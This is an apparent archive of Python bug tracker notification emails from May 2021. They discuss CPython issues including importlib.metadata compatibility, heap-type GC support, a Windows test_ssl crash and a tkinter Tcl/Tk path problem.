`memo` dict rather than `x`, the object to be copied by it's __deepcopy__ method. ---------- components: Library (Lib) files: diff.txt messages: 394558 nosy: DonnieODonnell priority: normal severity: normal status: open title: copy.deepcopy calls objdect's __deepcopy__ with incorrect argument type: behavior Added file: https://bugs.python.org/file50068/diff.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 12:03:16 2021 From: report at bugs.python.org (Anthony Sottile) Date: Thu, 27 May 2021 16:03:16 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622131396.4.0.721673516631.issue44246@roundup.psfhosted.org> Anthony Sottile added the comment: personally I think they should be reverted -- they were not committed in spirit with the backwards compatibility policy: https://www.python.org/dev/peps/pep-0387/#making-incompatible-changes - I don't think they were discussed thoroughly, and when opposition was presented it was not listened to thoroughly: https://github.com/python/importlib_metadata/pull/278 - the change significantly complicates importlib.metadata with lots of sneaky types (they all look like builtin types but do not act like them) - it simultaneously introduces new apis and old apis which will both be around for extended periods of time but immediately moves to DeprecationWarning - the new apis aren't remarkably better than the old apis -- the motivation was written as "typing issues" but without citing actual issues. in fact, the new items are significantly more complicated to type properly - the change breaks many significantly important projects, from perusing related issues it's at the very least flake8, pandas, virtualenv, astropy, pytest, hypothesis -- and hundreds more from a quick github code search ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 12:05:40 2021 From: report at bugs.python.org (Ayush Parikh) Date: Thu, 27 May 2021 16:05:40 +0000 Subject: [issue44249] Readme typo fix Message-ID: <1622131540.46.0.345987812718.issue44249@roundup.psfhosted.org> Change by Ayush Parikh : ---------- assignee: docs at python components: Documentation nosy: ayush332, docs at python priority: normal severity: normal status: open title: Readme typo fix type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 12:06:22 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Thu, 27 May 2021 16:06:22 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622131582.64.0.374034181017.issue44246@roundup.psfhosted.org> Jason R. Coombs added the comment: In the What's New, I used :func:`importlib.metadata.entry_points`, but that doesn't seem to resolve to the docs for the function. I need to figure out how to link to the entry_points anchor that's there. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 12:11:40 2021 From: report at bugs.python.org (Mark Winterbottom) Date: Thu, 27 May 2021 16:11:40 +0000 Subject: [issue44250] Link to ibera IRC goes to 404 page Message-ID: <1622131900.16.0.827273945679.issue44250@roundup.psfhosted.org> New submission from Mark Winterbottom : The link to "libera" on https://www.python.org/community/irc/ goes to http://libera.chat/t which is 404 not found. ---------- messages: 394561 nosy: londonappdev priority: normal severity: normal status: open title: Link to ibera IRC goes to 404 page _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 12:16:49 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Thu, 27 May 2021 16:16:49 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622132209.62.0.537612068846.issue44246@roundup.psfhosted.org> Change by Jason R. Coombs : ---------- keywords: +patch pull_requests: +25001 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26408 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 12:25:31 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 16:25:31 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622132731.26.0.296258220409.issue42972@roundup.psfhosted.org> STINNER Victor added the comment: New changeset ea47a8a71ad56ec349f02bf8c6a1d3bf04acabcc by Miss Islington (bot) in branch '3.10': bpo-42972: Fully implement GC protocol for ssl heap types (GH-26370) (GH-26399) https://github.com/python/cpython/commit/ea47a8a71ad56ec349f02bf8c6a1d3bf04acabcc ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 12:25:57 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Thu, 27 May 2021 16:25:57 +0000 Subject: [issue44250] Link to ibera IRC goes to 404 page In-Reply-To: <1622131900.16.0.827273945679.issue44250@roundup.psfhosted.org> Message-ID: <1622132757.14.0.911540252122.issue44250@roundup.psfhosted.org> Karthikeyan Singaravelan added the comment: Reported at https://github.com/python/pythondotorg/issues/1776 . This tracker deals with CPython related issues and python.org has its own tracker at GitHub. ---------- nosy: +xtreak resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 12:25:58 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 16:25:58 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622132758.42.0.282412381642.issue42972@roundup.psfhosted.org> STINNER Victor added the comment: New changeset e73b3b1cd48c92d847990e220cb9cbdbde86476a by Miss Islington (bot) in branch '3.10': bpo-42972: Fully support GC protocol for _queue.SimpleQueue (GH-26372) (GH-26406) https://github.com/python/cpython/commit/e73b3b1cd48c92d847990e220cb9cbdbde86476a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 12:27:10 2021 From: report at bugs.python.org (Guillaume Desforges) Date: Thu, 27 May 2021 16:27:10 +0000 Subject: [issue44251] ctypes '_get_soname' fails silently on missing objdump Message-ID: <1622132830.76.0.817909229212.issue44251@roundup.psfhosted.org> New submission from Guillaume Desforges : ## Description Libraries such as oscrypto will use `ctypes.utils.find_library` to look for libraries, which in turns uses ``. However, on Linux, if the system does not have the objdump command, the function fails silently. https://github.com/python/cpython/blob/0bf0500baa4cbdd6c5668461c2a2a008121772be/Lib/ctypes/util.py#L177 ## Expected behavior It should either raise an Exception saying that objdump is missing, or outputting a helpful message. ---------- components: Library (Lib) messages: 394565 nosy: GuillaumeDesforges priority: normal severity: normal status: open title: ctypes '_get_soname' fails silently on missing objdump type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 12:31:23 2021 From: report at bugs.python.org (Ayush Parikh) Date: Thu, 27 May 2021 16:31:23 +0000 Subject: [issue44249] Readme typo fix Message-ID: <1622133083.66.0.0435035964807.issue44249@roundup.psfhosted.org> Change by Ayush Parikh : ---------- keywords: +patch pull_requests: +25002 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26385 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 12:44:03 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 27 May 2021 16:44:03 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622133843.36.0.068784944038.issue42972@roundup.psfhosted.org> miss-islington added the comment: New changeset da8097aaf5a55c23f5b5ddbeffc2d90d06e00d93 by Miss Islington (bot) in branch '3.10': bpo-42972: Fully support GC for mmap heap types (GH-26373) https://github.com/python/cpython/commit/da8097aaf5a55c23f5b5ddbeffc2d90d06e00d93 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 12:55:04 2021 From: report at bugs.python.org (Zachary Ware) Date: Thu, 27 May 2021 16:55:04 +0000 Subject: [issue44248] copy.deepcopy calls objdect's __deepcopy__ with incorrect argument In-Reply-To: <1622130964.15.0.739693664196.issue44248@roundup.psfhosted.org> Message-ID: <1622134504.45.0.191702039026.issue44248@roundup.psfhosted.org> Zachary Ware added the comment: Do you have a short reproducer showing a behavioral bug here? That particular line of code hasn't changed in 19 years[1] :) [1] https://github.com/python/cpython/blame/main/Lib/copy.py#L153 ---------- nosy: +zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 12:58:40 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 16:58:40 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622134720.01.0.281204043319.issue42972@roundup.psfhosted.org> STINNER Victor added the comment: I'm not sure that it's safe to call PyObject_ClearWeakRefs() in tp_clear function. PyObject_ClearWeakRefs() comment starts with: "This function is called by the tp_dealloc handler to clear weak references." For example in Modules/arraymodule.c, I don't understand well what assigns weakreflist and what is the object type. Is it a strong reference to a Python object? What is supposed to call Py_DECREF() on it? Is it enought to call PyObject_ClearWeakRefs() in tp_dealloc? subtype_dealloc() calls PyObject_ClearWeakRefs(self). I wrote a short example: --- import weakref import ctypes import sys class A: pass obj=A() assert obj.__weakref__ is None wr1 = weakref.ref(obj) assert obj.__weakref__ is wr1 print(type(wr1)) print("refcnt(wr1)", sys.getrefcount(wr1)) wr2 = weakref.ref(obj) assert wr2 is wr1 assert obj.__weakref__ is wr1 print("refcnt(wr1)", sys.getrefcount(wr1)) _PyWeakref_GetWeakrefCount = ctypes.pythonapi._PyWeakref_GetWeakrefCount _PyWeakref_GetWeakrefCount.argtypes = (ctypes.py_object,) _PyWeakref_GetWeakrefCount.restype = ctypes.c_size_t print("_PyWeakref_GetWeakrefCount:", _PyWeakref_GetWeakrefCount(wr1)) --- Output: --- refcnt(wr1) 2 refcnt(wr1) 3 _PyWeakref_GetWeakrefCount: 1 --- In this case, wr2 is wr1, __weakreflist__ points to a weakref.ref object instance, and _PyWeakref_GetWeakrefCount() returns 1. At the first weakref.ref() call, the reference count is 1: "wr1" variable holds this reference. I understand that obj stores a *weak* reference to the Python object "weakref.ref". So it doesn't have to DECREF anything. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 13:01:33 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 17:01:33 +0000 Subject: [issue44031] test_embed and test_tabnanny fails if the current directory is non-ASCII In-Reply-To: <1620129028.97.0.901022211038.issue44031@roundup.psfhosted.org> Message-ID: <1622134893.66.0.723260682482.issue44031@roundup.psfhosted.org> STINNER Victor added the comment: Alexei S: "how we can fix this small problem in next releases of test_embed test_tabnanny? other tests didn't fail" Any for any bug, someone has to investigate why "test_embed and test_tabnanny fails if the current directory is non-ASCII", and then someone has to propose a fix. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 13:06:29 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 17:06:29 +0000 Subject: [issue43988] Add test.support.assert_dissallow_instantiation In-Reply-To: <1619791950.5.0.60645292756.issue43988@roundup.psfhosted.org> Message-ID: <1622135189.89.0.727533133862.issue43988@roundup.psfhosted.org> STINNER Victor added the comment: > I believe we can close this now, Victor. Please reopen if you disagree :) I validated that all tests named "test(...)disallow(...)inst(...)" are now using support.check_disallow_instantiation(). Lib/test/test_tcl.py might use it in: @support.cpython_only def test_new_tcl_obj(self): self.assertRaises(TypeError, _tkinter.Tcl_Obj) self.assertRaises(TypeError, _tkinter.TkttType) self.assertRaises(TypeError, _tkinter.TkappType) Serhiy suggested to write an unit test for curses.ncurses_version: https://bugs.python.org/issue43916#msg391936 This work can be done in bpo-43916. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 13:07:26 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 17:07:26 +0000 Subject: [issue43916] Mark static types newly converted to heap types as immutable: add Py_TPFLAGS_DISALLOW_INSTANTIATION type flag In-Reply-To: <1619127118.97.0.615486795072.issue43916@roundup.psfhosted.org> Message-ID: <1622135246.84.0.817504421019.issue43916@roundup.psfhosted.org> STINNER Victor added the comment: Erlend added test.support.check_disallow_instantiation() function in bpo-43988 to write tests for immutable types. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 13:07:39 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 17:07:39 +0000 Subject: [issue43988] Add test.support.check_disallow_instantiation() In-Reply-To: <1619791950.5.0.60645292756.issue43988@roundup.psfhosted.org> Message-ID: <1622135259.4.0.989416064689.issue43988@roundup.psfhosted.org> Change by STINNER Victor : ---------- title: Add test.support.assert_dissallow_instantiation -> Add test.support.check_disallow_instantiation() versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 13:08:23 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 17:08:23 +0000 Subject: [issue43667] Solaris: Fix broken Unicode encoding in non-UTF locales In-Reply-To: <1617099094.43.0.768783655635.issue43667@roundup.psfhosted.org> Message-ID: <1622135303.4.0.284464290028.issue43667@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 164a4f46d1606e21d82babc010e397a9116e6730 by Jakub Kul?k in branch 'main': bpo-43667: Add news fragment for Solaris changes (GH-26405) https://github.com/python/cpython/commit/164a4f46d1606e21d82babc010e397a9116e6730 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 13:08:53 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 27 May 2021 17:08:53 +0000 Subject: [issue43667] Solaris: Fix broken Unicode encoding in non-UTF locales In-Reply-To: <1617099094.43.0.768783655635.issue43667@roundup.psfhosted.org> Message-ID: <1622135333.45.0.541722553105.issue43667@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25004 pull_request: https://github.com/python/cpython/pull/26410 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 13:08:42 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 27 May 2021 17:08:42 +0000 Subject: [issue43667] Solaris: Fix broken Unicode encoding in non-UTF locales In-Reply-To: <1617099094.43.0.768783655635.issue43667@roundup.psfhosted.org> Message-ID: <1622135322.31.0.887214930191.issue43667@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +25003 pull_request: https://github.com/python/cpython/pull/26409 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 13:13:50 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 17:13:50 +0000 Subject: [issue44252] test_ssl: test_pha_required_nocert() crashs randomly with "Windows fatal exception: access violation" on Windows Message-ID: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> New submission from STINNER Victor : Christian Heimes reported a crash in bpo-42972: https://bugs.python.org/issue42972#msg394520 --- GH-26399 is failing with an access violation on Windows. It's failing in one of the flaky tests. I wonder if the segfault is related to flaky tests somehow... https://dev.azure.com/Python/cpython/_build/results?buildId=81570&view=logs&j=c83831cd-3752-5cc7-2f01-8276919eb334 test_pha_optional (test.test_ssl.TestPostHandshakeAuth) ... ok test_pha_optional_nocert (test.test_ssl.TestPostHandshakeAuth) ... ok test_pha_required (test.test_ssl.TestPostHandshakeAuth) ... ok Windows fatal exception: access violation Current thread 0x000009e0 (most recent call first): File "D:\a\1\s\lib\linecache.py", line 63 in checkcache File "D:\a\1\s\lib\traceback.py", line 375 in extract File "D:\a\1\s\lib\traceback.py", line 494 in __init__ File "D:\a\1\s\lib\traceback.py", line 132 in format_exception File "D:\a\1\s\lib\test\test_ssl.py", line 262 in handle_error File "D:\a\1\s\lib\test\test_ssl.py", line 2530 in run File "D:\a\1\s\lib\threading.py", line 1006 in _bootstrap_inner File "D:\a\1\s\lib\threading.py", line 963 in _bootstrap Thread 0x000003c4 (most recent call first): File "D:\a\1\s\lib\threading.py", line 1102 in _wait_for_tstate_lock File "D:\a\1\s\lib\threading.py", line 1086 in join File "D:\a\1\s\lib\test\test_ssl.py", line 2604 in run File "D:\a\1\s\lib\threading.py", line 1006 in _bootstrap_inner File "D:\a\1\s\lib\threading.py", line 963 in _bootstrap Thread 0x00001700 (most recent call first): File "D:\a\1\s\lib\ssl.py", line 1131 in read File "D:\a\1\s\lib\ssl.py", line 1256 in recv File "D:\a\1\s\lib\test\test_ssl.py", line 4471 in test_pha_required_nocert File "D:\a\1\s\lib\unittest\case.py", line 549 in _callTestMethod File "D:\a\1\s\lib\unittest\case.py", line 592 in run File "D:\a\1\s\lib\unittest\case.py", line 652 in __call__ File "D:\a\1\s\lib\unittest\suite.py", line 122 in run File "D:\a\1\s\lib\unittest\suite.py", line 84 in __call__ File "D:\a\1\s\lib\unittest\suite.py", line 122 in run File "D:\a\1\s\lib\unittest\suite.py", line 84 in __call__ File "D:\a\1\s\lib\unittest\runner.py", line 176 in run File "D:\a\1\s\lib\test\support\__init__.py", line 959 in _run_suite File "D:\a\1\s\lib\test\support\__init__.py", line 1082 in run_unittest File "D:\a\1\s\lib\test\test_ssl.py", line 5007 in test_main File "D:\a\1\s\lib\test\libregrtest\runtest.py", line 246 in _runtest_inner2 File "D:\a\1\s\lib\test\libregrtest\runtest.py", line 282 in _runtest_inner File "D:\a\1\s\lib\test\libregrtest\runtest.py", line 154 in _runtest File "D:\a\1\s\lib\test\__main__.py", line 2 in File "D:\a\1\s\lib\runpy.py", line 86 in _run_code File "D:\a\1\s\lib\runpy.py", line 196 in _run_module_as_main ##[error]Cmd.exe exited with code '-1073741819'. --- Erlend E. Aasland added: --- Hm, I'm unable to reproduce it w/addr sanitiser on macOS (FWIW). $ ./python.exe -m test test_ssl -F -u all -m test_pha_required_nocert Passing 1000 successful runs now. I'll see if I can get a Win dev env set up later. --- I may be related to commit dcb8786a9848516e823e090bb36079678913d8d3 "bpo-42972: Fully implement GC protocol for ssl heap types (GH-26370)". ---------- assignee: christian.heimes components: SSL, Tests messages: 394573 nosy: christian.heimes, vstinner priority: normal severity: normal status: open title: test_ssl: test_pha_required_nocert() crashs randomly with "Windows fatal exception: access violation" on Windows versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 13:15:14 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 17:15:14 +0000 Subject: [issue44252] test_ssl: test_pha_required_nocert() crashs randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622135714.25.0.453366949612.issue44252@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: +erlendaasland priority: normal -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 13:15:07 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 17:15:07 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622135707.69.0.054088824992.issue42972@roundup.psfhosted.org> STINNER Victor added the comment: > GH-26399 is failing with an access violation on Windows. It's failing in one of the flaky tests. I wonder if the segfault is related to flaky tests somehow... I created bpo-44252 to track this crash, it might be unrelated to commit dcb8786a9848516e823e090bb36079678913d8d3. Even if it's related, I prefer to track it separated to ease collaboration and focus to this issue to the GC protocol. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 13:23:15 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 27 May 2021 17:23:15 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622136195.82.0.829768830552.issue42972@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25005 pull_request: https://github.com/python/cpython/pull/26411 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 13:23:26 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 17:23:26 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622136206.52.0.608755995305.issue42972@roundup.psfhosted.org> STINNER Victor added the comment: New changeset fba42d11880f444bb94d9891e3949f082a57b9a9 by Erlend Egeberg Aasland in branch 'main': bpo-42972: Fully implement GC protocol for re types (GH-26368) https://github.com/python/cpython/commit/fba42d11880f444bb94d9891e3949f082a57b9a9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 13:23:50 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 17:23:50 +0000 Subject: [issue43667] Solaris: Fix broken Unicode encoding in non-UTF locales In-Reply-To: <1617099094.43.0.768783655635.issue43667@roundup.psfhosted.org> Message-ID: <1622136230.04.0.802198848235.issue43667@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 0574b0686d76e6f9199f800b5f32bd56eaff3c77 by Miss Islington (bot) in branch '3.10': bpo-43667: Add news fragment for Solaris changes (GH-26405) (GH-26409) https://github.com/python/cpython/commit/0574b0686d76e6f9199f800b5f32bd56eaff3c77 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 13:23:55 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 17:23:55 +0000 Subject: [issue43667] Solaris: Fix broken Unicode encoding in non-UTF locales In-Reply-To: <1617099094.43.0.768783655635.issue43667@roundup.psfhosted.org> Message-ID: <1622136235.4.0.787696564082.issue43667@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 427232f9d221d54870fa3e89bd1dac55cf42243f by Miss Islington (bot) in branch '3.9': bpo-43667: Add news fragment for Solaris changes (GH-26405) (GH-26410) https://github.com/python/cpython/commit/427232f9d221d54870fa3e89bd1dac55cf42243f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 13:24:17 2021 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 May 2021 17:24:17 +0000 Subject: [issue43667] Solaris: Fix broken Unicode encoding in non-UTF locales In-Reply-To: <1617099094.43.0.768783655635.issue43667@roundup.psfhosted.org> Message-ID: <1622136257.08.0.160047940707.issue43667@roundup.psfhosted.org> STINNER Victor added the comment: I merged your PR and backported it to add a NEWS entry, thanks. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 13:28:14 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 27 May 2021 17:28:14 +0000 Subject: [issue43988] Add test.support.check_disallow_instantiation() In-Reply-To: <1619791950.5.0.60645292756.issue43988@roundup.psfhosted.org> Message-ID: <1622136494.54.0.0272974930628.issue43988@roundup.psfhosted.org> Erlend E. Aasland added the comment: > Lib/test/test_tcl.py might use it [...] Absolutely. > Serhiy suggested to write an unit test for curses.ncurses_version: > https://bugs.python.org/issue43916#msg391936 > > This work can be done in bpo-43916. All right. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 13:41:24 2021 From: report at bugs.python.org (Irit Katriel) Date: Thu, 27 May 2021 17:41:24 +0000 Subject: [issue12463] Calling SocketServer.shutdown() when server_forever() was not called will hang In-Reply-To: <1309517198.04.0.392098349691.issue12463@psf.upfronthosting.co.za> Message-ID: <1622137284.97.0.856201882877.issue12463@roundup.psfhosted.org> Irit Katriel added the comment: This was added to the documentation under issue39797. ---------- nosy: +iritkatriel resolution: -> out of date stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 13:42:02 2021 From: report at bugs.python.org (Brandt Bucher) Date: Thu, 27 May 2021 17:42:02 +0000 Subject: [issue42109] Use hypothesis for testing the standard library, falling back to stubs In-Reply-To: <1603301913.79.0.22425692211.issue42109@roundup.psfhosted.org> Message-ID: <1622137322.61.0.959587216356.issue42109@roundup.psfhosted.org> Change by Brandt Bucher : ---------- nosy: +brandtbucher _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 13:48:11 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 27 May 2021 17:48:11 +0000 Subject: [issue44252] test_ssl: test_pha_required_nocert() crashs randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622137691.0.0.442553948903.issue44252@roundup.psfhosted.org> Erlend E. Aasland added the comment: GH 26411, run id 2687367477 also failed with an access violation: https://github.com/python/cpython/pull/26411/checks?check_run_id=2687367477 Not in test_pha_required_nocert, but test_local_bad_hostname. May be related. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 14:08:45 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 27 May 2021 18:08:45 +0000 Subject: [issue43916] Mark static types newly converted to heap types as immutable: add Py_TPFLAGS_DISALLOW_INSTANTIATION type flag In-Reply-To: <1619127118.97.0.615486795072.issue43916@roundup.psfhosted.org> Message-ID: <1622138925.22.0.792787902622.issue43916@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +25006 pull_request: https://github.com/python/cpython/pull/26412 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 14:31:36 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 27 May 2021 18:31:36 +0000 Subject: [issue43916] Mark static types newly converted to heap types as immutable: add Py_TPFLAGS_DISALLOW_INSTANTIATION type flag In-Reply-To: <1619127118.97.0.615486795072.issue43916@roundup.psfhosted.org> Message-ID: <1622140296.81.0.459737248765.issue43916@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Please, check also the discusion happening here: https://mail.python.org/archives/list/python-committers at python.org/thread/FHFI7QKWNHAVWVFTCHJGTYD3ZFVEUXDD/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 14:35:59 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 27 May 2021 18:35:59 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622140559.39.0.107103781893.issue42972@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Please, check also the discusion happening here: https://mail.python.org/archives/list/python-committers at python.org/thread/FHFI7QKWNHAVWVFTCHJGTYD3ZFVEUXDD/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 27 14:40:40 2021 From: report at bugs.python.org (Adam Stewart) Date: Thu, 27 May 2021 18:40:40 +0000 Subject: [issue44253] tkinter searches for tk.tcl in wrong directory Message-ID: <1622140840.05.0.780709147987.issue44253@roundup.psfhosted.org> New submission from Adam Stewart : I'm trying to install Python with tkinter support using the Spack package manager. Spack adds the following flags to configure during install: ``` '--with-tcltk-libs=-L/Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tcl-8.6.11-n7nea33urrk25rkoqpsc2tdcgai5u4z2/lib -ltcl8.6 -L/Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tk-8.6.11-ydmhrbboheucxsuhrnyoxqaihgna5dfe/lib -ltk8.6' ``` It also sets the following environment variables: ``` TCLLIBPATH='/Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tcl-8.6.11-n7nea33urrk25rkoqpsc2tdcgai5u4z2/lib/tcl8.6 /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tk-8.6.11-ydmhrbboheucxsuhrnyoxqaihgna5dfe/lib/tcl8.6 /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tk-8.6.11-ydmhrbboheucxsuhrnyoxqaihgna5dfe/lib64/tcl8.6'; export TCLLIBPATH TCL_LIBRARY=/Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tcl-8.6.11-n7nea33urrk25rkoqpsc2tdcgai5u4z2/lib; export TCL_LIBRARY ``` The install seems to correctly pick up tk/tcl and builds correctly. However, when I try to use tkinter, I see the following run-time error: ``` $ python Python 3.8.10 (default, May 27 2021, 13:28:01) [Clang 12.0.0 (clang-1200.0.32.29)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import tkinter >>> tkinter._test() Traceback (most recent call last): File "", line 1, in File "/Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/python-3.8.10-fkj5vkn3tpottyv6yqoj5ucz2emstpvo/lib/python3.8/tkinter/__init__.py", line 4557, in _test root = Tk() File "/Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/python-3.8.10-fkj5vkn3tpottyv6yqoj5ucz2emstpvo/lib/python3.8/tkinter/__init__.py", line 2270, in __init__ self.tk = _tkinter.create(screenName, baseName, className, interactive, wantobjects, useTk, sync, use) _tkinter.TclError: Can't find a usable tk.tcl in the following directories: /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tk-8.6.11-ydmhrbboheucxsuhrnyoxqaihgna5dfe/lib /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tcl-8.6.11-n7nea33urrk25rkoqpsc2tdcgai5u4z2/lib/tcl8.6/tk8.6 /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tcl-8.6.11-n7nea33urrk25rkoqpsc2tdcgai5u4z2/lib/tcl8.6/tk8.6/Resources/Scripts /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tk-8.6.11-ydmhrbboheucxsuhrnyoxqaihgna5dfe/lib/tcl8.6/tk8.6 